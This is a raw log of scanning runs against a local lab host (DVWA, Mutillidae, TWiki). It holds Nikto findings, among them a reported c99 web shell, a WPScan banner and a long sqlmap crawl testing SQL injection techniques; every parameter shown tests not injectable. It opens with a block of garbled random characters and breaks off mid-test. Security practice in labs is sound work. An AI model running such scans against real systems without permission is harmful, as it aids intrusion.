pax5VpNN6jrY5gquEsl1kWDA75TqcncGrNhTWQuuO0V14wxkWj4q9smEIAGqurG8pbdYwzGMWQrFfvSivQzXiGfTgVUFzXqSLFif0ZHx6iv3kxXEZi1jRTmNNLE0UzWsXuofjQNDQgxI7m4XndI8X5Rf9i5Hul0h9bhsJdJoBwBb3tDahgsqZPj15vN1kVMl2iKvXL2y8b8eXP6ynpjixqTKOfhLyID8eJWWJthVlmxksW2fP7XlRNTZxfndqkDeEqX0ypRvsOwEKwTwR8jpZPTTlY0UV7K9vLFX65QjWOnhaoXLi5W6yknW3ePPj6yPq8EjJNjDr755PZSdhFwy7s0fET8z7EPp2kzPDFM4zYdDa4pfSSgVdOe1p9HNjRzCI8vd6w6TLjLUJaSD5Bkg1XIrGWTCPFSrJGKCnuwiY6I0F7Eesg62CAYRs1In7rjvJXEXMC3UoAEArhozb1EZR9Qjz35mhv8AxcNQiVabX0Vts2t01MUMXdfnAo8Q57VV8pjBlIK851ZNINWMmT7QD1InmWB4Bg9DaDxBhchOXBjnqjNwkGT3V4bSnEozN4aYBtIOQoqgbMjIJGNF4BBBvOCyH58wAU0DQq8MroO8WI2ainvuResOXbWmCIWiY9LUYidGjP9PyEPG24XWAUNYaxB606b2DEKZwudMzKxfxezKIGtVWb76TfE8rYnDuP5WmvG1eGe6XF9YGUfJ8Yi1uGnML9fuUwgV65y9T7sTqlpPsbSG9vz1GYrzLlKQKp08FK8IwaPhp9dWy5PTyOJ0w6zm3MmOWeaVbYFL0IEfZfcH01Ms0k0cuGLf3IgWewYFjyFqByWK5Nrj9DSw4OdlEe8jpSPBce8KMUY5dbiU9QWbhkVWUiEoZ34edB2QpPtlekzxJDuQeg6OmouKgE6OYxcHT2916ampvf0JXMW9yWGSGuQdfXGkXfAGN0i0K0Bi4CInJLMJsP50FDUMrsS84dRspZk0gjiEVXShAV0uUt8Apv6tQxfQYcqEqCE95ZYXFMbxIS5qghOlzgXf74qES6zOhriBUAIp4G8kkXEoFcR0UGURDUMiBfVaz9PkepMjMGdHkVFkKgizbWGERJpkSUvV22HDBxTPrhIRx4JiSswNGvUIxTE6COhAnZn9Jjfn6Niu3tOMGAHgaMlegU32wCjXxEQEcJ8fYqfFdG6UjhrGlQhYHFTGABm8X9Vl4cdVqvyEOClWI4WHQZA0jr21Wd59fXY17mxCryyjJQbERIm0OjZLNypzFRLINmryVa3tbArxU4aYTpCWG1T1RSKGRCyoR6InG4Z454o6N2EwboxnWYrrNZ9KGYf3uuSiKrIv79yI3Aiprod9QNeXr7GwKQDN3OOfW5oNrJxpKbAZAp0GbeaHRNQjpfgXAb3mF4bWjzR1OyVNLpud6e1Rmfcqku1LBC8ZCxdaplXf2RHo7mahJ12XqBJk6YPWUJHbvT5VmN2BcUTyG69B54lcRFra8ph5IoWTe1c3FHr3USOi0GxsH8r6JFFWoNzYVgUK9NwJU06tuch9XnNoxUldMsy6AG1tz7gBHzltfKgNuVMofhPdE0VjrNqLee8Et7Gz99g3kfl6q4lt4z4F4sVpk08f3Ijf8UNPTCepnZefYGlrwhe7sw0muEmthwMsHwOZyA2rIFsrwOJtbT7325Hm1OWslNvcggHaLptUAc0w73zwld0BeecTna7JqEanenXEVRf59FU1IfN1sddFEBaI8IPWoK7U0CZhoCsw5kxWZAhCmeboEKlaumPgBJuFGz4kMfNJ7xBrfTh7vXI4pjaA67Z28P6: Output from the phpinfo() function was found.
- OSVDB-3233: /icons/README: Apache default file found.
- /phpMyAdmin/: phpMyAdmin directory found
- OSVDB-3092: /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- /c99.php: c99.php remote web shell
- 8347 requests: 0 error(s) and 30 item(s) reported on remote host
- End Time: 2015-09-06 17:29:24 (GMT-4) (25 seconds)
- 1 host(s) tested
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.8
Sponsored by Sucuri - https://sucuri.net
@WPScan, @ethicalhack3r, @erwan_lr, pvdl, @FireFart
[!] [!] The remote website is up, but does not seem to be running WordPress. python: can't open file 'CMSmap/cmsmap.py': [Errno 2] No such file or directory _ ___ | |__ ___ ___ {1.0-dev-7acddbf} |_ -| . | | | .'| . | || |||||__,| | || |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:29:26
do you want to check for the existence of site's sitemap(.xml) [y/N] n
[17:29:26] [INFO] starting crawler
[17:29:26] [INFO] searching for links with depth 1
[17:29:26] [INFO] heuristics detected web page charset 'ascii'
[17:29:26] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)] 1
[17:29:26] [WARNING] running in a single-thread mode. This could take a while
[17:29:26] [INFO] 2/5 links visited (40%)
sqlmap got a 302 redirect to 'http://192.168.1.113:80/dvwa/login.php'. Do you want to follow? [Y/n] Y
[17:29:27] [INFO] searching for links with depth 3
please enter number of threads? [Enter for 1 (current)] 1
[17:29:27] [WARNING] running in a single-thread mode. This could take a while
[17:29:27] [INFO] 1/58 links visited (2%)
[17:29:31] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:29:41] [INFO] searching for links with depth 4
please enter number of threads? [Enter for 1 (current)] 1
[17:29:41] [WARNING] running in a single-thread mode. This could take a while
[17:31:46] [INFO] 33/487 links visited (7%)1441575106952 addons.update-checker WARN Update manifest for {972ce4c6-7e08-4474-a285-3208198ce6fd} did not contain an updates property
[17:40:13] [INFO] 155/487 links visited (32%)
[17:59:53] [INFO] searching for links with depth 5
please enter number of threads? [Enter for 1 (current)] 1
[17:59:53] [WARNING] running in a single-thread mode. This could take a while
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N
[18:17:29] [INFO] sqlmap got a total of 4735 targets
URL 1:
GET http://192.168.1.113:80/dav/?C=N;O=D
do you want to test this URL? [Y/n/q]
Y [18:17:29] [INFO] testing URL 'http://192.168.1.113:80/dav/?C=N;O=D' [18:17:29] [INFO] using '/root/.sqlmap/output/results-09062015_0617pm.csv' as the CSV results file in multiple targets mode [18:17:29] [INFO] testing connection to the target URL [18:17:29] [INFO] testing if the target URL is stable [18:17:30] [INFO] target URL is stable [18:17:30] [INFO] testing if GET parameter 'C' is dynamic [18:17:30] [WARNING] GET parameter 'C' does not appear dynamic [18:17:30] [WARNING] heuristic (basic) test shows that GET parameter 'C' might not be injectable [18:17:30] [INFO] testing for SQL injection on GET parameter 'C' [18:17:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:17:30] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:17:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:17:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:17:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:17:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:17:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:17:31] [INFO] testing 'MySQL inline queries' [18:17:31] [INFO] testing 'PostgreSQL inline queries' [18:17:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:17:31] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:17:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:17:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:17:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:17:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:17:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:17:31] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:17:31] [INFO] testing 'Oracle AND time-based blind' [18:17:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:17:31] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:17:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:17:32] [WARNING] GET parameter 'C' is not injectable [18:17:32] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:17:32] [INFO] skipping 'http://192.168.1.113:80/dav/?C=M;O=A' [18:17:32] [INFO] skipping 'http://192.168.1.113:80/dav/?C=S;O=A' [18:17:32] [INFO] skipping 'http://192.168.1.113:80/dav/?C=D;O=A' URL 2: GET http://192.168.1.113:80/mutillidae/index.php?page=home.php do you want to test this URL? [Y/n/q] Y [18:17:32] [INFO] testing URL 'http://192.168.1.113:80/mutillidae/index.php?page=home.php' [18:17:32] [INFO] testing connection to the target URL [18:17:32] [INFO] testing if the target URL is stable [18:17:33] [INFO] target URL is stable [18:17:33] [INFO] testing if GET parameter 'page' is dynamic [18:17:33] [INFO] confirming that GET parameter 'page' is dynamic [18:17:33] [INFO] GET parameter 'page' is dynamic [18:17:33] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable [18:17:33] [INFO] heuristic (XSS) test shows that GET parameter 'page' might be vulnerable to XSS attacks [18:17:33] [INFO] testing for SQL injection on GET parameter 'page' [18:17:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:17:34] [WARNING] reflective value(s) found and filtering out [18:17:35] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:17:35] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:17:36] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:17:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:17:37] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:17:37] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:17:37] [INFO] testing 'MySQL inline queries' [18:17:37] [INFO] testing 'PostgreSQL inline queries' [18:17:38] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:17:38] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:17:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:17:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:17:39] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:17:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:17:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:17:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:17:41] [INFO] testing 'Oracle AND time-based blind' [18:17:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:17:41] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:17:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:17:54] [WARNING] GET parameter 'page' is not injectable [18:17:54] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:17:54] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=login.php' URL 3: GET http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=home.php do you want to test this URL? [Y/n/q] Y [18:17:54] [INFO] testing URL 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=home.php' [18:17:54] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://192.168.1.113:80/mutillidae/index.php'. Do you want to follow? [Y/n] Y [18:17:55] [INFO] testing if the target URL is stable [18:17:56] [WARNING] GET parameter 'do' does not appear dynamic [18:17:56] [WARNING] heuristic (basic) test shows that GET parameter 'do' might not be injectable [18:17:56] [INFO] testing for SQL injection on GET parameter 'do' [18:17:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:17:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:17:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:17:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:17:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:17:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:17:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:17:59] [INFO] testing 'MySQL inline queries' [18:17:59] [INFO] testing 'PostgreSQL inline queries' [18:17:59] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:18:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:18:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:18:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:18:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:18:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:18:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:18:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:18:03] [INFO] testing 'Oracle AND time-based blind' [18:18:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:18:03] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:18:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:18:16] [WARNING] GET parameter 'do' is not injectable [18:18:16] [INFO] skipping previously processed GET parameter 'page' [18:18:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=home.php' [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=show-log.php' [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=captured-data.php' [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=credits.php' [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=user-info.php' [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=register.php' [18:18:16] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=view-someones-blog.php' URL 4: GET http://192.168.1.113:80/mutillidae/?page=add-to-your-blog.php do you want to test this URL? [Y/n/q] Y [18:18:16] [INFO] testing URL 'http://192.168.1.113:80/mutillidae/?page=add-to-your-blog.php' [18:18:16] [INFO] testing connection to the target URL [18:18:16] [INFO] testing if the target URL is stable [18:18:17] [INFO] target URL is stable [18:18:17] [INFO] testing if GET parameter 'page' is dynamic [18:18:17] [INFO] confirming that GET parameter 'page' is dynamic [18:18:17] [INFO] GET parameter 'page' is dynamic [18:18:17] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable [18:18:17] [INFO] heuristic (XSS) test shows that GET parameter 'page' might be vulnerable to XSS attacks [18:18:17] [INFO] testing for SQL injection on GET parameter 'page' [18:18:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:18:18] [WARNING] reflective value(s) found and filtering out [18:18:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:18:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:18:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:18:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:18:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:18:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:18:21] [INFO] testing 'MySQL inline queries' [18:18:21] [INFO] testing 'PostgreSQL inline queries' [18:18:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:18:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:18:22] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:18:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:18:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:18:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:18:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:18:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:18:25] [INFO] testing 'Oracle AND time-based blind' [18:18:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:18:25] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:18:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:18:38] [WARNING] GET parameter 'page' is not injectable [18:18:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:18:38] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=site-footer-xss-discussion.php' [18:18:38] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=html5-storage.php' [18:18:38] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=capture-data.php' [18:18:38] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=dns-lookup.php' URL 5: GET http://192.168.1.113:80/mutillidae/index.php?page=password-generator.php&username=anonymous do you want to test this URL? [Y/n/q] Y [18:18:38] [INFO] testing URL 'http://192.168.1.113:80/mutillidae/index.php?page=password-generator.php&username=anonymous' [18:18:38] [INFO] testing connection to the target URL [18:18:38] [INFO] testing if the target URL is stable [18:18:39] [INFO] target URL is stable [18:18:39] [INFO] skipping previously processed GET parameter 'page' [18:18:39] [INFO] testing if GET parameter 'username' is dynamic [18:18:39] [WARNING] GET parameter 'username' does not appear dynamic [18:18:39] [WARNING] heuristic (basic) test shows that GET parameter 'username' might not be injectable [18:18:39] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to XSS attacks [18:18:39] [INFO] testing for SQL injection on GET parameter 'username' [18:18:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:18:40] [WARNING] reflective value(s) found and filtering out [18:18:41] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:18:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:18:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:18:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:18:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:18:43] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:18:43] [INFO] testing 'MySQL inline queries' [18:18:44] [INFO] testing 'PostgreSQL inline queries' [18:18:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:18:44] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:18:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:18:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:18:45] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:18:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:18:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:18:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:18:47] [INFO] testing 'Oracle AND time-based blind' [18:18:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:18:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:18:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:00] [WARNING] GET parameter 'username' is not injectable [18:19:00] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=user-poll.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=set-background-color.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=pen-test-tool-lookup.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=text-file-viewer.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=view-someones-blog.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=show-log.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=text-file-viewer.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=user-info.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=browser-info.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=login.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=source-viewer.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=arbitrary-file-inclusion.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=add-to-your-blog.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=secret-administrative-pages.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=credits.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=source-viewer.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=framing.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=change-log.htm' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=installation.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=documentation/vulnerabilities.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=usage-instructions.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=php-errors.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=notes.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=arbitrary-file-inclusion.php' [18:19:00] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=arbitrary-file-inclusion.php' URL 6: GET http://192.168.1.113:80/../rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9 do you want to test this URL? [Y/n/q] Y [18:19:00] [INFO] testing URL 'http://192.168.1.113:80/../rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9' [18:19:00] [INFO] testing connection to the target URL [18:19:00] [WARNING] the web server responded with an HTTP error code (400) which could interfere with the results of the tests [18:19:00] [INFO] testing if the target URL is stable [18:19:01] [INFO] target URL is stable [18:19:01] [INFO] testing if GET parameter 'rev1' is dynamic [18:19:01] [WARNING] GET parameter 'rev1' does not appear dynamic [18:19:01] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:19:01] [INFO] testing for SQL injection on GET parameter 'rev1' [18:19:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:02] [INFO] testing 'MySQL inline queries' [18:19:02] [INFO] testing 'PostgreSQL inline queries' [18:19:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:02] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:02] [INFO] testing 'Oracle AND time-based blind' [18:19:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:02] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:19:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:03] [WARNING] GET parameter 'rev1' is not injectable [18:19:03] [INFO] testing if GET parameter 'rev2' is dynamic [18:19:03] [WARNING] GET parameter 'rev2' does not appear dynamic [18:19:03] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:19:03] [INFO] testing for SQL injection on GET parameter 'rev2' [18:19:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:03] [INFO] testing 'MySQL inline queries' [18:19:03] [INFO] testing 'PostgreSQL inline queries' [18:19:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:04] [INFO] testing 'Oracle AND time-based blind' [18:19:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:05] [WARNING] GET parameter 'rev2' is not injectable [18:19:05] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:19:05] [WARNING] HTTP error codes detected during run: 400 (Bad Request) - 469 times URL 7: GET http://192.168.1.113:80/../view/TWiki/TWikiHistory?rev=1.9 do you want to test this URL? [Y/n/q] Y [18:19:05] [INFO] testing URL 'http://192.168.1.113:80/../view/TWiki/TWikiHistory?rev=1.9' [18:19:05] [INFO] testing connection to the target URL [18:19:05] [WARNING] the web server responded with an HTTP error code (400) which could interfere with the results of the tests [18:19:05] [INFO] testing if the target URL is stable [18:19:06] [INFO] target URL is stable [18:19:06] [INFO] testing if GET parameter 'rev' is dynamic [18:19:06] [WARNING] GET parameter 'rev' does not appear dynamic [18:19:06] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:19:06] [INFO] testing for SQL injection on GET parameter 'rev' [18:19:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:06] [INFO] testing 